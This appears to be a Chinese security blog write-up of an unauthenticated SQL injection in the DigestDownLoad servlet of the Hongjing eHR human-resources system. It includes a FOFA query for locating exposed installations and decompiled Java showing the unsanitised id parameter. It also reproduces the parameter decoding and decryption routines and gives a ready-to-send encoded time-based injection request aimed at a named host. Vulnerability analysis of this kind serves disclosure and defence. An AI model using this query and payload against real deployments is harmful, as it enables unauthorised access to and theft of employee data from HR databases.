宏景人力资源管理系统 DigestDownLoad SQL注入漏洞


漏洞简介

宏景人力资源管理系统(eHR)是一款由宏景软件研发的系统。宏景人力资源管理系统的 DigestDownLoad 接口处存在SQL注入漏洞,未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令,从而窃取数据库敏感信息。

影响版本

fofa语法

app="HJSOFT-HCM"

漏洞分析

根据 WEB-INF/web.xml 中对 DigestDownLoad 的定义如下

<servlet-mapping>
  <servlet-name>DigestDownLoad</servlet-name>
  <url-pattern>/servlet/DigestDownLoad</url-pattern>
</servlet-mapping>
<servlet>
  <servlet-name>DigestDownLoad</servlet-name>
  <servlet-class>com.hjsj.hrms.servlet.lawbase.DigestDownLoad</servlet-class>
</servlet>

跟进 com.hjsj.hrms.servlet.lawbase.DigestDownLoad 类

public void doGet(HttpServletRequest var1, HttpServletResponse var2) throws ServletException, IOException {
        String var3 = var1.getParameter("id");
        var3 = PubFunc.decrypt(SafeCode.decode(var3));
        String var4 = var1.getParameter("type");
        if (var4 == null) {
            var4 = "";
        }

首先规定请求方法为 GET ,获取的两个参数 id、type ,需要对 id 进行解码以及解密,可以使用DecryptTools工具或者我写的直接编码加密即可,解码与解密方法如下

public static final String decode(String var0) {
    if (var0 == null) {
        return "";
    } else {
        String var1 = "";

        for(int var2 = 0; var2 < var0.length(); ++var2) {
            char var3;
            switch (var3 = var0.charAt(var2)) {
                case '^':
                    String var5 = var0.substring(var2 + 1, var2 + 4 + 1);
                    var1 = var1 + (char)Integer.parseInt(var5, 16);
                    var2 += 4;
                    break;
                case '~':
                    String var4 = var0.substring(var2 + 1, var2 + 4 - 1);
                    var1 = var1 + (char)Integer.parseInt(var4, 16);
                    var2 += 2;
                    break;
                default:
                    var1 = var1 + var3;
            }
        }

        return var1;
    }
}
public static String decrypt(String var0) {
        if (null == var0) {
            return "";
        } else {
            var0 = var0.replaceAll("PAATTP", "@");
            var0 = var0.replaceAll("@2HJ5@", "%");
            var0 = var0.replaceAll("@2HJB@", "\\+");
            var0 = var0.replaceAll("@2HJ0@", " ");
            var0 = var0.replaceAll("@2HJF@", "\\/");
            var0 = var0.replaceAll("@3HJF@", "\\?");
            var0 = var0.replaceAll("@2HJ3@", "#");
            var0 = var0.replaceAll("@2HJ6@", "&");
            var0 = var0.replaceAll("@3HJD@", "=");
            String var1 = SafeCode.decrypt(var0);
            return var1;
        }
    }

当 var4=original 时,执行以下处理逻辑

var5 = var7.createStatement();
String var12 = "";
if (var4.equalsIgnoreCase("original")) {
    String var13 = "select name,digest,originalfile from law_base_file where file_id = '" + var3 + "'";
    var10.open(var7, var13);
    var6 = var5.executeQuery(var13);
} else {
    String var30 = "select name,digest,content from law_base_file where file_id = '" + var3 + "'";
    var10.open(var7, var30);
    var6 = var5.executeQuery(var30);
}

否则执行 else 部分,而两处的处理里对于 var3 都没有任何过滤或校验,被直接拼接进sql语句中执行,造成SQL注入漏。

漏洞复现

漏洞利用使用 1'waitfor delay'0:0:5'-- 加密编码后来测试

GET /servlet/DigestDownLoad?id=SPAATTP~32HJFPAATTPJPAATTP~32HJFPAATTPHNvno~33W~39Sm~33WBgDEqPAATTP~32HJFPAATTPWzCGPAATTP~32HJBPAATTPS~30TBXpcPpPAATTP~32HJFPAATTP~37~39l~37h~38PAATTP~33HJDPAATTP HTTP/1.1
Host: hjsoft.mrxn.net

成功延时 5 秒

不编码,直接使用加密后的payload也是可以的

SPAATTP2HJFPAATTPJPAATTP2HJFPAATTPHNvno3W9Sm3WBgDEqPAATTP2HJFPAATTPWzCGPAATTP2HJBPAATTPS0TBXpcPpPAATTP2HJFPAATTP79l7h8PAATTP3HJDPAATTP


手机扫码阅读

宏景人力资源管理系统 HrpService SQL注入漏洞

宏景人力资源管理系统 HrChangeInfoService SQL注入漏洞+XXE漏洞

评 论